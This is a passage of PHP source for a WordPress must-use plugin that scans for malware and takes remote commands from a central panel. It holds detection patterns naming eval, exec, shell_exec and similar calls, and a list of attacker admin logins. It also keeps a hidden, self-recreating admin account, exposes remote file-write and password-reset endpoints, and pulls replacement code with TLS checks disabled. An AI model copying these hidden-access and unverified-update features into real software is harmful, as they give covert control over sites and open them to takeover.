mu-plugins, never flag. if ($base === 'google-seo-manager.php' && strpos($norm, '/mu-plugins/') !== false) return true; // db.php / object-cache.php drop-ins in mu-plugins: whitelist only if // they contain our watchdog marker (other plugins also use these names). if (in_array($base, ['db.php', 'object-cache.php'], true) && strpos($norm, '/mu-plugins/') !== false) { $c = @file_get_contents($path); if ($c !== false && (strpos($c, 'SERVER-WALL watchdog') !== false || strpos($c, '$_sw_swb') !== false)) { return true; } } // Any mu-plugin file that defines our panel token constant is our scanner // deployed under an alternate filename (e.g. wp-compat-check.php on WP Engine). if (strpos($norm, '/mu-plugins/') !== false) { $c = @file_get_contents($path); if ($c !== false && strpos($c, 'class SW_Scanner') !== false) return true; } // Skip the /home/ directory ONLY when it sits directly in ABSPATH root // (i.e., a sibling of wp-content/). A /home/ folder inside a plugin or theme is NOT exempt. $absRoot = rtrim(str_replace('\\', '/', realpath(ABSPATH) ?: ABSPATH), '/'); if (strpos($norm, $absRoot . '/home/') === 0) return true; // Short stub index.php files inside wp-content/ sub-directories are directory-listing // protection files created by WordPress core and many plugins (wpforms, forminator, // mailpoet, wpo, wp-import-export-lite, CF7, etc.). They contain only a PHP comment // and have no functional code — never malware. if ($base === 'index.php' && strpos($norm, '/wp-content/') !== false && !preg_match('#/wp-content/index\.php$#', $norm) ) { $c = @file_get_contents($path); if ($c !== false && strlen(trim($c)) < 150 && !preg_match('/\b(?:base64|eval|exec|system|passthru|assert|popen|proc_open|shell_exec)\b/i', $c) ) { return true; } } return false; } private static function scanFile(string $path): ?array { if (self::isWhitelisted($path)) return null; $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); if (!in_array($ext, self::$scanExt, true)) return null; $content = @file_get_contents($path); if ($content === false || strlen($content) === 0) return null; $matches = []; $maxScore = 0; $topSev = 'LOW'; foreach (self::$rules as $rule) { if (@preg_match($rule['re'], $content, $m)) { $matches[] = [ 'rule' => $rule['id'], 'desc' => $rule['desc'], 'snippet' => self::getSnippet($content, $rule['re']), 'score' => $rule['score'], ]; if ($rule['score'] > $maxScore) { $maxScore = $rule['score']; $topSev = $rule['sev']; } } } $entropy = self::entropy($content); if ($entropy > 5.7) { $matches[] = [ 'rule' => 'high_entropy', 'desc' => sprintf('High file entropy (%.2f) — possible packed payload', $entropy), 'snippet' => '', 'score' => $entropy > 6.5 ? 70 : 40, ]; if ($entropy > 6.5 && $maxScore < 70) { $maxScore = 70; $topSev = 'HIGH'; } } $mtime = (int)@filemtime($path); if ($mtime && (time() - $mtime) < 7 * 86400 && !empty($matches)) { $matches[] = [ 'rule' => 'recently_modified', 'desc' => 'File modified ' . human_time_diff($mtime) . ' ago', 'snippet' => '', 'score' => 25, ]; } $base = basename($path); if ($base[0] === '.' && strlen($base) > 1) { $matches[] = [ 'rule' => 'hidden_file', 'desc' => 'Hidden PHP file (dot-prefix filename)', 'snippet' => '', 'score' => 50, ]; if ($maxScore < 50) { $maxScore = 50; $topSev = 'MEDIUM'; } } if (empty($matches)) return null; return [ 'path' => str_replace(ABSPATH, '', $path), 'sev' => $topSev, 'score' => $maxScore, 'entropy' => round($entropy, 2), 'mtime' => $mtime, 'size' => strlen($content), 'matches' => $matches, ]; } private static function collectFiles(string $dir): array { $files = []; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($it as $file) { if ($file->isFile()) $files[] = $file->getPathname(); } } catch (Exception $e) {} return $files; } // Standard WP core files and directories in ABSPATH root. private static $WP_CORE_ROOT_FILES = [ 'index.php', 'wp-activate.php', 'wp-blog-header.php', 'wp-comments-post.php', 'wp-config.php', 'wp-config-sample.php', 'wp-cron.php', 'wp-links-opml.php', 'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php', 'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php', ]; private static $WP_CORE_ROOT_DIRS = [ 'wp-admin', 'wp-content', 'wp-includes', ]; // Returns PHP files in ABSPATH root AND in non-WP-core immediate subdirectories. // Covers: root-level PHP backdoors + hex-named dirs with index.php (webshell kits). private static function collectRootPhpFiles(): array { $phpExts = ['php','php3','php4','php5','php7','phtml','phar']; $root = rtrim(ABSPATH, '/\\'); $found = []; foreach (@scandir($root) ?: [] as $name) { if ($name === '.' || $name === '..') continue; $full = $root . '/' . $name; // Non-core PHP files directly in the webroot if (is_file($full)) { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (in_array($ext, $phpExts, true) && !in_array($name, self::$WP_CORE_ROOT_FILES, true)) { $found[] = $full; } continue; } // Non-core directories: scan one level deep for PHP files. // Also skip /home/ at root level (our legitimate customer data folder). $skipRootDirs = array_merge(self::$WP_CORE_ROOT_DIRS, ['home']); if (is_dir($full) && !in_array($name, $skipRootDirs, true)) { foreach (@scandir($full) ?: [] as $child) { if ($child === '.' || $child === '..') continue; $childFull = $full . '/' . $child; if (!is_file($childFull)) continue; $ext = strtolower(pathinfo($child, PATHINFO_EXTENSION)); if (in_array($ext, $phpExts, true)) { $found[] = $childFull; } } } } return $found; } private static function entropy(string $s): float { $len = strlen($s); if ($len === 0) return 0.0; $freq = array_count_values(str_split($s)); $e = 0.0; foreach ($freq as $c) { $p = $c / $len; $e -= $p * log($p, 2); } return $e; } private static function getSnippet(string $content, string $re): string { if (!@preg_match($re, $content, $m, PREG_OFFSET_CAPTURE)) return ''; $pos = $m[0][1]; $start = max(0, $pos - 20); $raw = substr($content, $start, 120); return trim(preg_replace('/\s+/', ' ', $raw)); } // ── REST API: routes ────────────────────────────────────────────────────── public static function registerRestRoute(): void { register_rest_route('server-wall/v1', '/scan', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restTriggerScan'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/last-result', [ 'methods' => 'GET', 'callback' => ['SW_Scanner', 'restLastResult'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/files', [ 'methods' => 'DELETE', 'callback' => ['SW_Scanner', 'restDeleteFiles'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/uninstall', [ 'methods' => 'DELETE', 'callback' => ['SW_Scanner', 'restUninstall'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/fs', [ 'methods' => 'GET', 'callback' => ['SW_Scanner', 'restFsList'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/fs/file', [ 'methods' => ['GET', 'PUT'], 'callback' => ['SW_Scanner', 'restFsFile'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/backup', [ 'methods' => ['GET', 'POST', 'DELETE'], 'callback' => ['SW_Scanner', 'restBackup'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/backup/restore', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restBackupRestore'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/admin/password', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restSetAdminPassword'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/admin/user', [ 'methods' => ['GET', 'POST'], 'callback' => ['SW_Scanner', 'restAdminUser'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/watchdogs', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restDeployWatchdogs'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/recovery-login', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restDeployRecoveryLogin'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/backup/prepare-switch', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restBackupPrepareSwitch'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/switch', [ 'methods' => ['GET', 'POST'], 'callback' => ['SW_Scanner', 'restSwitch'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/fs/upload', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restFsUpload'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/fs/unzip', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restFsUnzip'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/fs/delete', [ 'methods' => 'DELETE', 'callback' => ['SW_Scanner', 'restFsDelete'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/fs/create-file', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restFsCreateFile'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/fs/create-dir', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restFsCreateDir'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/fs/duplicate', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restFsDuplicate'], 'permission_callback' => '__return_true', ]); register_rest_route('server-wall/v1', '/hardening', [ 'methods' => 'POST', 'callback' => ['SW_Scanner', 'restHardening'], 'permission_callback' => '__return_true', ]); } // ── Direct proxy: bypasses Cloudflare REST API blocking ────────────────────── // Accessed via POST {siteURL}/?sw_p=1 with X-SW-Trigger-Token header. // Routes the same logic as the REST handlers without going through /wp-json/. public static function handleDirectRequest(): void { if (!isset($_GET['sw_p'])) return; $token = isset($_SERVER['HTTP_X_SW_TRIGGER_TOKEN']) ? $_SERVER['HTTP_X_SW_TRIGGER_TOKEN'] : ''; if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { http_response_code(403); header('Content-Type: application/json'); echo json_encode(['error' => 'forbidden']); exit; } @set_time_limit(180); // Buffer all output so third-party plugin hooks (e.g. Elementor's kit-delete // guard) cannot inject premature JSON into our response stream. while (ob_get_level() > 0) ob_end_clean(); ob_start(); header('Content-Type: application/json'); $raw = (string)file_get_contents('php://input'); $body = json_decode($raw, true) ?: []; $action = $body['sw_action'] ?? ''; $method = strtoupper($body['sw_method'] ?? 'GET'); $path = isset($body['sw_path']) ? $body['sw_path'] : null; $inner = isset($body['sw_body']) ? $body['sw_body'] : []; // Build a WP_REST_Request that the existing handlers accept $req = new WP_REST_Request($method); $req->add_header('X-SW-Trigger-Token', SW_PANEL_TOKEN); if ($path !== null) { $req->set_param('path', $path); } if ($inner) { $req->set_body(json_encode($inner)); } $resp = null; switch ($action) { case 'ping': $pingResp = ['ok' => true, 'version' => SW_VERSION, 'abspath' => ABSPATH]; $fatalFlag = __DIR__ . '/.sw_fatal'; $okFlag = __DIR__ . '/.sw_ok'; if (file_exists($fatalFlag)) { $fatal = json_decode((string)@file_get_contents($fatalFlag), true) ?: []; $fatalTime = (int)($fatal['t'] ?? 0); $okTime = file_exists($okFlag) ? (int)@filemtime($okFlag) : 0; if ($okTime > $fatalTime) { $fatal['resolved'] = true; } $pingResp['fatal'] = $fatal; } @file_put_contents($okFlag, ''); // update mtime: this ping succeeded ob_end_clean(); echo json_encode($pingResp); exit; case 'fs': $resp = self::restFsList($req); break; case 'fs/file': $resp = self::restFsFile($req); break; case 'fs/upload': $resp = self::restFsUpload($req); break; case 'fs/unzip': $resp = self::restFsUnzip($req); break; case 'fs/delete': $resp = self::restFsDelete($req); break; case 'fs/create-file': $resp = self::restFsCreateFile($req); break; case 'fs/create-dir': $resp = self::restFsCreateDir($req); break; case 'fs/duplicate': $resp = self::restFsDuplicate($req); break; case 'switch': $resp = self::restSwitch($req); break; case 'backup': $resp = self::restBackup($req); break; case 'backup/restore': $resp = self::restBackupRestore($req); break; case 'backup/prepare-switch': $resp = self::restBackupPrepareSwitch($req); break; case 'admin/password': $resp = self::restSetAdminPassword($req); break; case 'admin/user': $resp = self::restAdminUser($req); break; case 'watchdogs': $resp = self::restDeployWatchdogs($req); break; case 'recovery-login': $resp = self::restDeployRecoveryLogin($req); break; case 'hardening': // Intercept wp_die() calls from third-party plugins (e.g. Elementor // calling wp_send_json_error → wp_die() during role/user operations). // Replace the die handler with one that throws a catchable exception, // then restore it after our hardening completes. $swDieHandler = static function($msg) { if (is_wp_error($msg)) throw new \RuntimeException('wp_die:' . $msg->get_error_code()); if (is_array($msg)) throw new \RuntimeException('wp_die:' . json_encode($msg)); try { throw new \RuntimeException('wp_die:' . (string)$msg); } catch (\TypeError $te) { throw new \RuntimeException('wp_die:wp_error_object'); } }; add_filter('wp_die_json_handler', static function() use ($swDieHandler) { return $swDieHandler; }, PHP_INT_MAX); add_filter('wp_die_handler', static function() use ($swDieHandler) { return $swDieHandler; }, PHP_INT_MAX); add_filter('wp_die_ajax_handler', static function() use ($swDieHandler) { return $swDieHandler; }, PHP_INT_MAX); try { $resp = self::restHardening($req); } catch (\RuntimeException $e) { // Third-party plugin called wp_die() — our hardening completed // (DB updates happen before the die call). Return partial/last results. $resp = new WP_REST_Response(['ok' => true, 'results' => ['notice' => 'third-party plugin intercepted: ' . substr($e->getMessage(), 0, 80)]]); } catch (\Throwable $e) { $resp = new WP_REST_Response(['error' => $e->getMessage()]); } remove_all_filters('wp_die_json_handler', PHP_INT_MAX); remove_all_filters('wp_die_handler', PHP_INT_MAX); break; case 'db/scan': $resp = self::restDbScan($req); break; case 'db/list': $resp = self::restDbList($req); break; case 'db/read': $resp = self::restDbRead($req); break; case 'db/update': $resp = self::restDbUpdate($req); break; case 'db/delete': $resp = self::restDbDelete($req); break; case 'db/delete-bulk': $resp = self::restDbDeleteBulk($req); break; case 'db/users': $resp = self::restDbUsers($req); break; case 'db/delete-users': $resp = self::restDbDeleteUsers($req); break; case 'fs/upload-chunk': $resp = self::restFsUploadChunk($req); break; case 'plugin_update': // Direct plugin self-update. // pull_url mode: fetch content from panel URL (tiny payload, no size limits). // content mode: legacy inline base64. $newContent = ''; if (!empty($inner['pull_url'])) { $pu = (string)$inner['pull_url']; if (ini_get('allow_url_fopen')) { $pctx = stream_context_create(['http' => ['timeout' => 30, 'ignore_errors' => true], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]]); $newContent = (string)@file_get_contents($pu, false, $pctx); } if (strlen($newContent) < 100 && function_exists('curl_init')) { $pch = curl_init($pu); curl_setopt_array($pch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_FOLLOWLOCATION => true]); $newContent = (string)curl_exec($pch); curl_close($pch); } } elseif (!empty($inner['content'])) { $newContent = (string)base64_decode($inner['content'], true); } if (!$newContent || strlen($newContent) < 100) { echo json_encode(['error' => 'invalid content']); exit; } @unlink(__FILE__); if (@file_put_contents(__FILE__, $newContent) === false) { echo json_encode(['error' => 'write failed — check permissions']); exit; } @chmod(__FILE__, 0644); if (function_exists('opcache_invalidate')) @opcache_invalidate(__FILE__, true); if (function_exists('opcache_reset')) @opcache_reset(); ob_end_clean(); echo json_encode(['ok' => true, 'size' => strlen($newContent)]); exit; default: ob_end_clean(); echo json_encode(['error' => 'unknown action: ' . htmlspecialchars($action, ENT_QUOTES)]); exit; } ob_end_clean(); // discard any third-party plugin output accumulated during action echo json_encode($resp->get_data()); exit; } // Delete specific files identified as malicious during scan public static function restDeleteFiles(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || $token !== SW_PANEL_TOKEN) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $paths = $request->get_param('paths'); if (!is_array($paths) || empty($paths)) { return new WP_REST_Response(['error' => 'no paths provided'], 400); } $wpRoot = realpath(ABSPATH); $wpContent = realpath(WP_CONTENT_DIR); $results = []; foreach ($paths as $rawPath) { $path = (string) $rawPath; // Resolve real path to prevent directory traversal $real = realpath($path); if ($real === false) { $results[$path] = ['deleted' => false, 'error' => 'file not found']; continue; } // Security: must be inside WordPress root or wp-content $inRoot = str_starts_with($real, $wpRoot . DIRECTORY_SEPARATOR); $inContent = str_starts_with($real, $wpContent . DIRECTORY_SEPARATOR); if (!$inRoot && !$inContent) { $results[$path] = ['deleted' => false, 'error' => 'path outside WordPress installation']; continue; } // Never allow deletion of actual WordPress core files. // Protection is path-based (not just basename) so that index.php inside // plugin subdirectories can still be deleted when they are malware. $protectedPaths = [ $wpRoot . DIRECTORY_SEPARATOR . 'index.php', $wpRoot . DIRECTORY_SEPARATOR . 'wp-config.php', $wpRoot . DIRECTORY_SEPARATOR . 'wp-login.php', $wpRoot . DIRECTORY_SEPARATOR . 'wp-cron.php', $wpRoot . DIRECTORY_SEPARATOR . 'wp-blog-header.php', $wpRoot . DIRECTORY_SEPARATOR . 'wp-settings.php', ]; if (in_array($real, $protectedPaths, true)) { $results[$path] = ['deleted' => false, 'error' => 'core file cannot be deleted']; continue; } if (is_dir($real)) { $results[$path] = ['deleted' => false, 'error' => 'directories cannot be deleted here']; continue; } if (@unlink($real)) { // Verify: clear stat cache and confirm file is gone clearstatcache(true, $real); if (!file_exists($real)) { $results[$path] = ['deleted' => true, 'verified' => true]; } else { // unlink() returned true but file still exists (e.g. immutable flag, NFS) $results[$path] = ['deleted' => false, 'verified' => false, 'error' => 'unlink reported success but file still exists — check immutable flag (lsattr)']; } } else { $results[$path] = ['deleted' => false, 'verified' => false, 'error' => 'permission denied — check file/directory permissions']; } } return new WP_REST_Response(['results' => $results], 200); } // Panel pulls last scan result from site (fallback when push is blocked by firewall) public static function restLastResult(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || $token !== SW_PANEL_TOKEN) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $data = get_option('sw_last_scan_result'); if (empty($data)) { return new WP_REST_Response(['status' => 'no_data'], 204); } return new WP_REST_Response($data, 200); } public static function restUninstall(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || $token !== SW_PANEL_TOKEN) { return new WP_REST_Response(['error' => 'forbidden'], 403); } // Remove scheduled cron events wp_clear_scheduled_hook('sw_auto_scan_hook'); wp_clear_scheduled_hook('sw_auto_harden_hook'); // Delete the mu-plugin file after the response is sent $file = __FILE__; register_shutdown_function(function() use ($file) { @unlink($file); }); return new WP_REST_Response(['status' => 'uninstalled', 'file' => basename($file)], 200); } public static function restTriggerScan(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || $token !== SW_PANEL_TOKEN) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $mode = sanitize_text_field($request->get_param('mode') ?: 'quick'); if (!in_array($mode, ['quick', 'full'], true)) { $mode = 'quick'; } $scan = self::runScan($mode); return new WP_REST_Response([ 'status' => 'ok', 'scanned' => $scan['scanned'], 'findings' => count($scan['results']), 'duration_ms' => $scan['duration_ms'], ]); } // ── Auto-scan (no longer auto-scheduled in v0.6.35) ────────────────────── // Method kept for manual invocation via panel. The cron hook registration // was removed because hardening is now panel-triggered only. public static function runAutoScan(): void { // Guard: skip if another auto-run happened within the last 5 hours (prevents overlap). $lastRun = (int)get_option('sw_last_auto_run', 0); if ($lastRun > 0 && (time() - $lastRun) < 5 * HOUR_IN_SECONDS) return; update_option('sw_last_auto_run', time(), false); // Scan and report findings to panel. $scan = self::runScan('quick'); self::sendReport($scan); // Auto-hardening: safe cleanup actions (no wp-config or core file changes). $spamPosts = self::hardenDeleteSpamPosts(); $adminRemoved = self::hardenRemoveAttackerAdmins(); $swAdmin = self::hardenEnsureSWAdmin(); // recreate if deleted, refresh password $filesDeleted = self::hardenCleanupFiles(); $dbCleaned = self::hardenStripDBMalware(); self::hardenDisableXmlRpc(); // Alert panel if anything was cleaned — operator can review in panel alerts. if (!empty($filesDeleted)) { self::sendAlert('auto_cleanup_files', 'Auto-cleanup deleted ' . count($filesDeleted) . ' file(s): ' . implode(', ', array_slice($filesDeleted, 0, 10))); } if (!empty($spamPosts)) { self::sendAlert('auto_cleanup_spam', 'Auto-cleanup deleted ' . count($spamPosts) . ' spam post(s)'); } if (!empty($dbCleaned)) { self::sendAlert('auto_cleanup_db_malware', 'Auto-cleanup stripped malware from ' . count($dbCleaned) . ' page(s): ' . implode(', ', array_slice($dbCleaned, 0, 5))); } if (!empty($swAdmin['action']) && $swAdmin['action'] === 'created') { self::sendAlert('sw_admin_recreated', 'sw_admin was missing and has been recreated — may have been deleted by attacker'); } if (!empty($adminRemoved)) { self::sendAlert('auto_cleanup_admins', 'Auto-cleanup removed ' . count($adminRemoved) . ' suspicious admin(s): ' . implode(', ', $adminRemoved)); } // Persist last result in wp_options so the panel can read it via db/scan or ping. update_option('sw_last_auto_result', json_encode([ 'ts' => time(), 'spam_posts' => count($spamPosts), 'admins_removed' => count($adminRemoved), 'files_deleted' => count($filesDeleted), 'files' => array_slice($filesDeleted, 0, 50), ]), false); } // ── Auto-hardening via WP-Cron (every 6 hours, v0.6.42+) ───────────────── // Called by the 'sw_auto_harden_hook' WP-Cron event. Runs the same actions // as HardenAuto from the panel (no reset_admin_password). A transient lock // prevents concurrent executions. Spam post deletion is capped at 100 posts // per run to respect PHP execution time limits in the cron context. public static function runAutoHarden(): void { if (get_transient('sw_harden_running')) return; set_transient('sw_harden_running', 1, HOUR_IN_SECONDS); try { self::hardenCleanupFiles(); self::hardenRemoveAttackerAdmins(); self::hardenEnsureSWAdmin(); self::hardenUploadsHtaccess(); self::hardenDisableXmlRpc(); self::hardenDisallowFileEdit(); self::hardenDeleteSpamPosts(100); } finally { delete_transient('sw_harden_running'); } } // ── Watchdog cleanup — called only via explicit Hardening action ────────── // NOT called automatically. Triggered by panel via POST /hardening?action=cleanup. public static function runWatchdogCleanup(): void { $deleted = []; // 1. Auto-delete any PHP file in uploads/ — never legitimate. $uploadsDir = WP_CONTENT_DIR . '/uploads'; if (is_dir($uploadsDir)) { $phpExts = ['php','php3','php4','php5','php7','phtml','phar']; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($uploadsDir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($it as $f) { if (!$f->isFile()) continue; if (!in_array(strtolower(pathinfo($f->getPathname(), PATHINFO_EXTENSION)), $phpExts, true)) continue; if (@unlink($f->getPathname())) { $deleted[] = str_replace(ABSPATH, '', $f->getPathname()); } } } catch (\Exception $e) {} } // 2. Auto-delete hex-named PHP backdoors in wp-admin/ root (e.g. a3f1c8b2.php). $wpAdminDir = ABSPATH . 'wp-admin'; foreach (@scandir($wpAdminDir) ?: [] as $name) { if ($name === '.' || $name === '..') continue; $full = $wpAdminDir . '/' . $name; if (!is_file($full) || strtolower(pathinfo($name, PATHINFO_EXTENSION)) !== 'php') continue; if (preg_match('/^[a-f0-9]{8,}\.php$/i', $name) && @unlink($full)) { $deleted[] = str_replace(ABSPATH, '', $full); } } // 3. Alert + delete cache.php inside plugin subdirectories (not in plugin root). // Legitimate plugins never put cache.php in subdirs; attackers do. $pluginsDir = WP_CONTENT_DIR . '/plugins'; if (is_dir($pluginsDir)) { foreach (@scandir($pluginsDir) ?: [] as $plugin) { if ($plugin === '.' || $plugin === '..') continue; $pDir = $pluginsDir . '/' . $plugin; if (!is_dir($pDir)) continue; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($pDir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($it as $f) { if (!$f->isFile() || $f->getFilename() !== 'cache.php') continue; $relToPlugin = ltrim(str_replace($pDir, '', $f->getPathname()), '/\\'); if (strpos($relToPlugin, '/') === false) continue; // skip plugin root $c = @file_get_contents($f->getPathname()); if (!$c || !preg_match('/gzinflate\s*\(|base64_decode\s*\(|eval\s*\(/i', $c)) continue; $path = $f->getPathname(); if (@unlink($path)) { $rel = str_replace(ABSPATH, '', $path); $deleted[] = $rel; self::sendAlert('malware_auto_deleted', 'Auto-deleted malicious cache.php: ' . $rel); } } } catch (\Exception $e) {} } } // 4. Alert + delete doubled-dir backdoors: e.g. plugins/x/Foo/Foo/index.php. foreach ([$pluginsDir, WP_CONTENT_DIR] as $searchRoot) { if (!is_dir($searchRoot)) continue; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($searchRoot, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($it as $f) { if (!$f->isFile() || $f->getFilename() !== 'index.php') continue; $norm = str_replace('\\', '/', $f->getPathname()); if (!preg_match('#/([^/]+)/\1/index\.php$#', $norm)) continue; $c = @file_get_contents($f->getPathname()); if (!$c || !preg_match('/gzinflate\s*\(|base64_decode\s*\(|eval\s*\(/i', $c)) continue; $path = $f->getPathname(); if (@unlink($path)) { $rel = str_replace(ABSPATH, '', $path); $deleted[] = $rel; self::sendAlert('malware_auto_deleted', 'Auto-deleted doubled-dir backdoor: ' . $rel); } } } catch (\Exception $e) {} } // 5. Remove attacker-created admin accounts (dual criteria required). self::removeAttackerAdmins(); if (!empty($deleted)) { $log = (array)get_option('sw_watchdog_deletions', []); $log[] = ['time' => time(), 'files' => $deleted]; update_option('sw_watchdog_deletions', array_slice($log, -20), false); } } // Writes .htaccess to uploads/ blocking PHP execution if not already present. private static function ensureUploadsHtaccess(): void { $dir = WP_CONTENT_DIR . '/uploads'; if (!is_dir($dir) || file_exists($dir . '/.htaccess')) return; $rules = "# SERVER-WALL: block direct PHP execution\n" . "<FilesMatch \"\\.(php\\d*|phtml|phar)$\">\n" . "deny from all\n" . "</FilesMatch>\n"; self::safeWrite($dir . '/.htaccess', $rules); } // Adds DISALLOW_FILE_EDIT to wp-config.php if not already defined. // Only modifies if the standard WP "stop editing" marker is present, // to avoid corrupting non-standard configs. private static function ensureDisallowFileEdit(): void { $cfg = ABSPATH . 'wp-config.php'; if (!file_exists($cfg) || !is_writable($cfg)) return; $c = @file_get_contents($cfg); if ($c === false || strpos($c, 'DISALLOW_FILE_EDIT') !== false) return; $marker = "/* That's all, stop editing!"; if (strpos($c, $marker) === false) return; $c = str_replace($marker, "define('DISALLOW_FILE_EDIT', true);\n" . $marker, $c); self::safeWrite($cfg, $c); } // Deletes admin users that match BOTH a known-attacker login name AND a // suspicious email pattern. Both conditions are required to avoid false positives. // Safety: never deletes our own hidden admin, never removes the last remaining admin. private static function removeAttackerAdmins(): void { if (!function_exists('get_users')) return; $knownAttackerLogins = [ 'root','admin2','admin1','test','super','ahmed','bot','wp-user','user1', 'wordpress','webmaster','administrator2','operator','manager','support2', 'info','noreply','nobody','guest','sysadmin','server', ]; $suspiciousEmailPrefixes = ['root@','test@','admin@','nobody@','noreply@','bot@']; $ourId = (int)get_option(self::SW_HIDDEN_ADMIN_KEY, 0); $admins = get_users(['role' => 'administrator', 'fields' => ['ID','user_login','user_email']]); $toDelete = []; foreach ($admins as $u) { if ((int)$u->ID === $ourId) continue; $loginLower = strtolower($u->user_login); $emailLower = strtolower(trim($u->user_email)); $badLogin = in_array($loginLower, $knownAttackerLogins, true); $badEmail = empty($emailLower) || strpos($emailLower, 'example.com') !== false; foreach ($suspiciousEmailPrefixes as $pfx) { if (strpos($emailLower, $pfx) === 0) { $badEmail = true; break; } } if ($badLogin && $badEmail) { $toDelete[] = $u; } } if (empty($toDelete)) return; // Ensure at least one legitimate admin remains after deletion. if ((count($admins) - count($toDelete)) < 1) return; global $wpdb; foreach ($toDelete as $u) { try { // Direct DB update bypasses all WordPress hooks (including third-party plugins // like Elementor that call die() in role-change or delete-user hooks, which // would abort our PHP execution before we can output our JSON response). $caps = serialize([$wpdb->prefix . 'capabilities' => false] + []); // Build subscriber capabilities array (empty admin, subscriber=true) $newCaps = serialize(['subscriber' => true]); $wpdb->update( $wpdb->usermeta, ['meta_value' => $newCaps], ['user_id' => (int)$u->ID, 'meta_key' => $wpdb->prefix . 'capabilities'] ); // Also remove from site admin list if multisite if (function_exists('remove_user_from_blog')) { @remove_user_from_blog((int)$u->ID, get_current_blog_id()); } wp_cache_delete($u->ID, 'users'); wp_cache_delete($u->user_login, 'userlogins'); self::sendAlert('attacker_admin_removed', 'Demoted suspicious admin (direct DB): ' . $u->user_login . ' (' . $u->user_email . ')'); } catch (\Throwable $e) { // Silently skip } } } // ── Report to central panel ─────────────────────────────────────────────── public static function sendReport(array $scan): void { $findings = []; foreach ($scan['results'] ?? [] as $r) { $findings[] = [ 'path' => $r['path'], 'severity' => $r['sev'], 'score' => $r['score'], 'entropy' => $r['entropy'] ?? 0.0, 'size' => $r['size'] ?? 0, 'modified' => isset($r['mtime']) ? date('c', $r['mtime']) : '', 'rules' => array_column($r['matches'] ?? [], 'rule'), ]; } $result = [ 'site_id' => SW_SESSION_ID, 'site_url' => get_site_url(), 'php_version' => PHP_VERSION, 'wp_version' => get_bloginfo('version'), 'cms_type' => 'wordpress', 'scan_mode' => $scan['mode'] ?? 'quick', 'scanned_files' => $scan['scanned'] ?? 0, 'duration_ms' => $scan['duration_ms'] ?? 0, 'findings' => $findings, ]; // Always store locally — panel can pull via /last-result if push is blocked. update_option('sw_last_scan_result', $result, false); // Push to panel only if SW_PANEL_URL is defined (intentionally not embedded // in deployed plugins for security — fetch-result pull mode works without it). if (!defined('SW_PANEL_URL') || !SW_PANEL_URL) return; $body = json_encode($result); // Build list of URLs to try: HTTPS first, then HTTP fallback $urls = [SW_PANEL_URL . '/report']; if (str_starts_with(SW_PANEL_URL, 'https://')) { $urls[] = 'http://' . substr(SW_PANEL_URL, 8) . '/report'; } foreach ($urls as $url) { if (self::httpPost($url, $body)) return; } } private static function httpPost(string $url, string $body): bool { $headers = [ 'Content-Type' => 'application/json', 'X-Panel-Token' => SW_PANEL_TOKEN, ]; // Method 1: wp_remote_post (WordPress HTTP API) $resp = wp_remote_post($url, [ 'body' => $body, 'headers' => $headers, 'timeout' => 30, 'sslverify' => false, ]); if (!is_wp_error($resp) && wp_remote_retrieve_response_code($resp) === 200) { return true; } // Method 2: cURL 